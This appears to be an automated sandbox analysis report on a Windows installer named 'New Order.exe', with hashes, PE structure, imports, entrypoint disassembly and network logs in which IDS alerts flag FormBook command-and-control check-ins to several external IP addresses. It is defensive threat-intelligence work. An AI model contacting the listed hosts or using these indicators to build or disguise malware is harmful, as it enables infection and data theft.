MD5:	D4BB6C3B11E85EEEA93B6461993B1561
SHA1:	69EDCDA9E995067C333C55036414FD4961C1F3A1
SHA-256:	0DF21A068840119834EDECA99F658F4582341D6295A26B0F8F03387A03F82402
SHA-512:	6B08C217B3FC83608A850263CE6C7912E466ED443809163385E43EFF20341CF3180624FBEB0B417C51DCEC97E07899B6239BA8EC2D904C086FCE5068AF1FCBF3
Malicious:	false
Reputation:	low
Preview:	........&....3...Z..,N.;iUS.M...d.W.g.a......LG.%)N.....v.W.it...W....pBQ-+...=.`......V ~..7...........R......"up..I...&.C..............<..._.J...d)9.........J.?../.dUr..p...J....(o....#{.b......-O...W.].G?.....c...j.]......p..s...PGtk...H............l.z.....%......d.W.#g.a...#..LG.%)N.....vfW.i.....Q.....u..WI......-'...."T...%^ e....,V......7.dC..r"up..I{.../2g..z...V....j.p.S...hx0lg._;.f.#<..Zr}Q...@..dU..Wp.lJJ...(-....#{.bd.^.l..`.S..W.].G.yh..%c..h..].>..4.p.'s.Q..PGtk.........$..;..l.z.7.WT%.Y..=...d.W.g.a......LG.%)N.....vfW.i.....Q.....u..WI......-'...."T...%^ e....,V......7.dC..r"up..I{.../2g..z...V....j.p.S...hx0lg._;.f.#<..Zr}Q?../.dU...p..JJ..>.(o....#{.bd.^.l.-`...W.].G.yh..%c..h..].>..4.p.'s.Q..PGtk.........$..;..l.z.7.WT%.Y..=...d.W.g.a......LG.%)N.....vfW.i.....Q.....u..WI......-'...."T...%^ e....,V......7.dC..r"up..I{.../2g..z...V....j.p.S...hx0lg._;.f.#<..Zr}Q?../.dU...p..JJ..>.(o....#{.bd.^.l.-`...W.].G.yh..%c.

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.882875340417013
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	New Order.exe
File size:	206093
MD5:	4af03301316c984c17ca822456b6d918
SHA1:	ad237296e61bde6fe8ba894ec7445bb9bc76ab69
SHA256:	ac339f7ecac47cfc3a860ad42986d9f8d68208e7c7df8b21d4640ade4f2b5131
SHA512:	01988b176dfb0851fb9958c3948dbd2c434d0706b120f0609eecf157619bcd27f16741951d93fa4a236524f4f9cb46f171a9b4acf39b70fac26514eee8248f94
SSDEEP:	3072:QBynOpL12riocMMV6iTl2vFxqr91H9KANIlQoxOPTZEDHjMmRqZiOewWE:QBlL/Vd5yqB1HMVlJxOPODjMmEiOewX
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0(..QF..QF..QF.^...QF..QG.qQF.^...QF..rv..QF..W@..QF.Rich.QF.........PE..L...e:.V.................\...........0.......p....@

File Icon


Icon Hash:	b2a88c96b2ca6a72

Static PE Info

General
Entrypoint:	0x4030fb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x56FF3A65 [Sat Apr 2 03:20:05 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b76363e9cb88bf9390860da8e50999d2

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+20h], ebx
mov dword ptr [esp+14h], 00409168h
mov dword ptr [esp+1Ch], ebx
mov byte ptr [esp+18h], 00000020h
call dword ptr [004070B0h]
call dword ptr [004070ACh]
cmp ax, 00000006h
je 00007FA4A0C34A63h
push ebx
call 00007FA4A0C37844h
cmp eax, ebx
je 00007FA4A0C34A59h
push 00000C00h
call eax
mov esi, 00407280h
push esi
call 00007FA4A0C377C0h
push esi
call dword ptr [00407108h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007FA4A0C34A3Dh
push 0000000Dh
call 00007FA4A0C37818h
push 0000000Bh
call 00007FA4A0C37811h
mov dword ptr [00423F44h], eax
call dword ptr [00407038h]
push ebx
call dword ptr [0040726Ch]
mov dword ptr [00423FF8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041F4F0h
call dword ptr [0040715Ch]
push 0040915Ch
push 00423740h
call 00007FA4A0C37444h
call dword ptr [0040710Ch]
mov ebp, 0042A000h
push eax
push ebp
call 00007FA4A0C37432h
push ebx
call dword ptr [00407144h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7418	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2d000	0xc68	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x27c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5aeb	0x5c00	False	0.665123980978	data	6.42230569414	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1196	0x1200	False	0.458984375	data	5.20291736659	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1b038	0x600	False	0.432291666667	data	4.0475118296	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x25000	0x8000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2d000	0xc68	0xe00	False	0.405412946429	data	3.97774713785	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2d1d8	0x2e8	data	English	United States
RT_DIALOG	0x2d4c0	0x100	data	English	United States
RT_DIALOG	0x2d5c0	0x11c	data	English	United States
RT_DIALOG	0x2d6e0	0x60	data	English	United States
RT_GROUP_ICON	0x2d740	0x14	data	English	United States
RT_VERSION	0x2d758	0x240	data
RT_MANIFEST	0x2d998	0x2cc	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	GetTickCount, GetShortPathNameA, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, SetFileAttributesA, CompareFileTime, SearchPathA, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, GetWindowsDirectoryA, GetTempPathA, Sleep, lstrcmpiA, GetVersion, SetErrorMode, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, lstrcatA, GetSystemDirectoryA, WaitForSingleObject, SetFileTime, CloseHandle, GlobalFree, lstrcmpA, ExpandEnvironmentStringsA, GetExitCodeProcess, GlobalAlloc, lstrlenA, GetCommandLineA, GetProcAddress, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, ReadFile, FindClose, GetPrivateProfileStringA, WritePrivateProfileStringA, WriteFile, MulDiv, MultiByteToWideChar, LoadLibraryExA, GetModuleHandleA, FreeLibrary
USER32.dll	SetCursor, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, EndDialog, ScreenToClient, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetForegroundWindow, GetWindowLongA, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, GetDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, SetTimer, PostQuitMessage, SetWindowLongA, SendMessageTimeoutA, LoadImageA, wsprintfA, GetDlgItem, FindWindowExA, IsWindow, SetClipboardData, EmptyClipboard, OpenClipboard, EndPaint, CreateDialogParamA, DestroyWindow, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, SHFileOperationA, ShellExecuteA
ADVAPI32.dll	RegDeleteValueA, SetFileSecurityA, RegOpenKeyExA, RegDeleteKeyA, RegEnumValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Version Infos

Description	Data
LegalCopyright	tenants
FileVersion	8.0.7.4
CompanyName	amply
LegalTrademarks	lieutenant
Comments	sims
ProductName	mediator
FileDescription	powering
Translation	0x0000 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/22/21-18:05:57.232848	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49765	80	192.168.2.4	34.102.136.180
06/22/21-18:05:57.232848	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49765	80	192.168.2.4	34.102.136.180
06/22/21-18:05:57.232848	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49765	80	192.168.2.4	34.102.136.180
06/22/21-18:05:57.373182	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49765	34.102.136.180	192.168.2.4
06/22/21-18:06:46.522727	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49778	80	192.168.2.4	35.209.88.35
06/22/21-18:06:46.522727	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49778	80	192.168.2.4	35.209.88.35
06/22/21-18:06:46.522727	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49778	80	192.168.2.4	35.209.88.35
06/22/21-18:06:47.354678	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.4	8.8.8.8
06/22/21-18:06:51.976615	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49779	34.102.136.180	192.168.2.4
06/22/21-18:06:57.245840	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49780	34.102.136.180	192.168.2.4
06/22/21-18:07:02.503415	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49781	34.102.136.180	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 22, 2021 18:05:57.189275980 CEST	49765	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:05:57.232598066 CEST	80	49765	34.102.136.180	192.168.2.4
Jun 22, 2021 18:05:57.232733965 CEST	49765	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:05:57.232847929 CEST	49765	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:05:57.275851965 CEST	80	49765	34.102.136.180	192.168.2.4
Jun 22, 2021 18:05:57.373182058 CEST	80	49765	34.102.136.180	192.168.2.4
Jun 22, 2021 18:05:57.373228073 CEST	80	49765	34.102.136.180	192.168.2.4
Jun 22, 2021 18:05:57.373451948 CEST	49765	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:05:57.373501062 CEST	49765	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:05:57.672857046 CEST	49765	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:05:57.716026068 CEST	80	49765	34.102.136.180	192.168.2.4
Jun 22, 2021 18:06:02.444720030 CEST	49771	80	192.168.2.4	192.155.181.250
Jun 22, 2021 18:06:05.454973936 CEST	49771	80	192.168.2.4	192.155.181.250
Jun 22, 2021 18:06:11.470927954 CEST	49771	80	192.168.2.4	192.155.181.250
Jun 22, 2021 18:06:25.891266108 CEST	49772	80	192.168.2.4	192.155.181.250
Jun 22, 2021 18:06:28.714240074 CEST	49773	80	192.168.2.4	208.91.197.91
Jun 22, 2021 18:06:28.879081964 CEST	80	49773	208.91.197.91	192.168.2.4
Jun 22, 2021 18:06:28.881302118 CEST	49773	80	192.168.2.4	208.91.197.91
Jun 22, 2021 18:06:28.881365061 CEST	49773	80	192.168.2.4	208.91.197.91
Jun 22, 2021 18:06:28.894260883 CEST	49772	80	192.168.2.4	192.155.181.250
Jun 22, 2021 18:06:29.087789059 CEST	80	49773	208.91.197.91	192.168.2.4
Jun 22, 2021 18:06:29.140470028 CEST	80	49773	208.91.197.91	192.168.2.4
Jun 22, 2021 18:06:29.140527964 CEST	80	49773	208.91.197.91	192.168.2.4
Jun 22, 2021 18:06:29.140558004 CEST	80	49773	208.91.197.91	192.168.2.4
Jun 22, 2021 18:06:29.140656948 CEST	49773	80	192.168.2.4	208.91.197.91
Jun 22, 2021 18:06:29.140723944 CEST	49773	80	192.168.2.4	208.91.197.91
Jun 22, 2021 18:06:29.275923967 CEST	80	49773	208.91.197.91	192.168.2.4
Jun 22, 2021 18:06:29.276143074 CEST	49773	80	192.168.2.4	208.91.197.91
Jun 22, 2021 18:06:29.304333925 CEST	80	49773	208.91.197.91	192.168.2.4
Jun 22, 2021 18:06:34.232399940 CEST	49776	80	192.168.2.4	107.161.23.204
Jun 22, 2021 18:06:34.371625900 CEST	80	49776	107.161.23.204	192.168.2.4
Jun 22, 2021 18:06:34.371841908 CEST	49776	80	192.168.2.4	107.161.23.204
Jun 22, 2021 18:06:34.372102976 CEST	49776	80	192.168.2.4	107.161.23.204
Jun 22, 2021 18:06:34.511465073 CEST	80	49776	107.161.23.204	192.168.2.4
Jun 22, 2021 18:06:34.511514902 CEST	80	49776	107.161.23.204	192.168.2.4
Jun 22, 2021 18:06:34.511545897 CEST	80	49776	107.161.23.204	192.168.2.4
Jun 22, 2021 18:06:34.511785030 CEST	49776	80	192.168.2.4	107.161.23.204
Jun 22, 2021 18:06:34.511912107 CEST	49776	80	192.168.2.4	107.161.23.204
Jun 22, 2021 18:06:34.651163101 CEST	80	49776	107.161.23.204	192.168.2.4
Jun 22, 2021 18:06:34.895009041 CEST	49772	80	192.168.2.4	192.155.181.250
Jun 22, 2021 18:06:39.602884054 CEST	49777	80	192.168.2.4	160.153.78.1
Jun 22, 2021 18:06:39.786284924 CEST	80	49777	160.153.78.1	192.168.2.4
Jun 22, 2021 18:06:39.786525965 CEST	49777	80	192.168.2.4	160.153.78.1
Jun 22, 2021 18:06:39.786784887 CEST	49777	80	192.168.2.4	160.153.78.1
Jun 22, 2021 18:06:39.970570087 CEST	80	49777	160.153.78.1	192.168.2.4
Jun 22, 2021 18:06:40.022874117 CEST	80	49777	160.153.78.1	192.168.2.4
Jun 22, 2021 18:06:40.022923946 CEST	80	49777	160.153.78.1	192.168.2.4
Jun 22, 2021 18:06:40.023248911 CEST	49777	80	192.168.2.4	160.153.78.1
Jun 22, 2021 18:06:40.023399115 CEST	49777	80	192.168.2.4	160.153.78.1
Jun 22, 2021 18:06:40.207359076 CEST	80	49777	160.153.78.1	192.168.2.4
Jun 22, 2021 18:06:46.370055914 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.522447109 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.522556067 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.522727013 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.674983025 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.698638916 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.698688030 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.698724985 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.698776007 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.698802948 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.698832035 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.698836088 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.698888063 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.698904037 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.698915958 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.698941946 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.698951006 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.698992014 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.698998928 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.699038982 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.699047089 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.699091911 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.699094057 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.699151039 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.851478100 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.851532936 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.851547956 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.851572037 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.851577997 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.851619959 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.851620913 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.851664066 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.851669073 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.851701975 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.851710081 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.851744890 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.851748943 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.851784945 CEST	80	49778	35.209.88.35	192.168.2.4
Jun 22, 2021 18:06:46.851797104 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:46.851834059 CEST	49778	80	192.168.2.4	35.209.88.35
Jun 22, 2021 18:06:51.793962002 CEST	49779	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:06:51.837032080 CEST	80	49779	34.102.136.180	192.168.2.4
Jun 22, 2021 18:06:51.837265015 CEST	49779	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:06:51.837527990 CEST	49779	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:06:51.880568027 CEST	80	49779	34.102.136.180	192.168.2.4
Jun 22, 2021 18:06:51.976614952 CEST	80	49779	34.102.136.180	192.168.2.4
Jun 22, 2021 18:06:51.976666927 CEST	80	49779	34.102.136.180	192.168.2.4
Jun 22, 2021 18:06:51.976871967 CEST	49779	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:06:51.976931095 CEST	49779	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:06:52.020415068 CEST	80	49779	34.102.136.180	192.168.2.4
Jun 22, 2021 18:06:57.064152956 CEST	49780	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:06:57.106677055 CEST	80	49780	34.102.136.180	192.168.2.4
Jun 22, 2021 18:06:57.106823921 CEST	49780	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:06:57.107094049 CEST	49780	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:06:57.149523973 CEST	80	49780	34.102.136.180	192.168.2.4
Jun 22, 2021 18:06:57.245840073 CEST	80	49780	34.102.136.180	192.168.2.4
Jun 22, 2021 18:06:57.245882988 CEST	80	49780	34.102.136.180	192.168.2.4
Jun 22, 2021 18:06:57.246160030 CEST	49780	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:06:57.246237993 CEST	49780	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:06:57.553000927 CEST	49780	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:06:57.595846891 CEST	80	49780	34.102.136.180	192.168.2.4
Jun 22, 2021 18:07:02.320812941 CEST	49781	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:07:02.363662958 CEST	80	49781	34.102.136.180	192.168.2.4
Jun 22, 2021 18:07:02.363888979 CEST	49781	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:07:02.363946915 CEST	49781	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:07:02.406513929 CEST	80	49781	34.102.136.180	192.168.2.4
Jun 22, 2021 18:07:02.503415108 CEST	80	49781	34.102.136.180	192.168.2.4
Jun 22, 2021 18:07:02.503464937 CEST	80	49781	34.102.136.180	192.168.2.4
Jun 22, 2021 18:07:02.503674984 CEST	49781	80	192.168.2.4	34.102.136.180
Jun 22, 2021 18:07:02.546427965 CEST	80	49781	34.102.136.180	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 22, 2021 18:04:51.640705109 CEST	53	53097	8.8.8.8	192.168.2.4
Jun 22, 2021 18:04:52.553347111 CEST	49257	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:04:52.606376886 CEST	53	49257	8.8.8.8	192.168.2.4
Jun 22, 2021 18:04:53.506577015 CEST	62389	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:04:53.565637112 CEST	53	62389	8.8.8.8	192.168.2.4
Jun 22, 2021 18:04:55.021409988 CEST	49910	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:04:55.080760002 CEST	53	49910	8.8.8.8	192.168.2.4
Jun 22, 2021 18:04:56.199162006 CEST	55854	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:04:56.258557081 CEST	53	55854	8.8.8.8	192.168.2.4
Jun 22, 2021 18:04:57.458127975 CEST	64549	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:04:57.508827925 CEST	53	64549	8.8.8.8	192.168.2.4
Jun 22, 2021 18:04:58.353847027 CEST	63153	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:04:58.404939890 CEST	53	63153	8.8.8.8	192.168.2.4
Jun 22, 2021 18:04:59.418277025 CEST	52991	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:04:59.474721909 CEST	53	52991	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:00.341372013 CEST	53700	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:00.397557974 CEST	53	53700	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:01.455554008 CEST	51726	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:01.505968094 CEST	53	51726	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:02.371608019 CEST	56794	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:02.425209999 CEST	53	56794	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:03.662364006 CEST	56534	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:03.714626074 CEST	53	56534	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:04.825570107 CEST	56627	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:04.878463984 CEST	53	56627	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:07.260529995 CEST	56621	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:07.311386108 CEST	53	56621	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:08.398658037 CEST	63116	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:08.458273888 CEST	53	63116	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:09.705202103 CEST	64078	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:09.755305052 CEST	53	64078	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:10.919406891 CEST	64801	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:10.975267887 CEST	53	64801	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:11.858045101 CEST	61721	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:11.927227974 CEST	53	61721	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:13.032439947 CEST	51255	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:13.091696024 CEST	53	51255	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:15.475276947 CEST	61522	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:15.528253078 CEST	53	61522	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:21.818195105 CEST	52337	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:21.894490957 CEST	53	52337	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:39.818063021 CEST	55046	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:40.033080101 CEST	53	55046	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:40.850999117 CEST	49612	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:40.912467003 CEST	53	49612	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:41.527678013 CEST	49285	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:41.769505978 CEST	53	49285	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:42.216876030 CEST	50601	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:42.284393072 CEST	53	50601	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:42.697580099 CEST	60875	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:42.767492056 CEST	53	60875	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:42.921756029 CEST	56448	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:42.983896017 CEST	53	56448	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:43.520226002 CEST	59172	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:43.582356930 CEST	53	59172	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:44.099085093 CEST	62420	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:44.161602020 CEST	53	62420	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:45.026206017 CEST	60579	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:45.086499929 CEST	53	60579	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:46.051551104 CEST	50183	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:46.110084057 CEST	53	50183	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:46.622945070 CEST	61531	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:46.688252926 CEST	53	61531	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:46.922976971 CEST	49228	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:46.975034952 CEST	53	49228	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:57.109780073 CEST	59794	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:57.184031963 CEST	53	59794	8.8.8.8	192.168.2.4
Jun 22, 2021 18:05:58.313008070 CEST	55916	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:05:58.376924038 CEST	53	55916	8.8.8.8	192.168.2.4
Jun 22, 2021 18:06:02.382002115 CEST	52752	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:06:02.443214893 CEST	53	52752	8.8.8.8	192.168.2.4
Jun 22, 2021 18:06:25.780879021 CEST	60542	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:06:25.839808941 CEST	53	60542	8.8.8.8	192.168.2.4
Jun 22, 2021 18:06:28.525279045 CEST	60689	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:06:28.711617947 CEST	53	60689	8.8.8.8	192.168.2.4
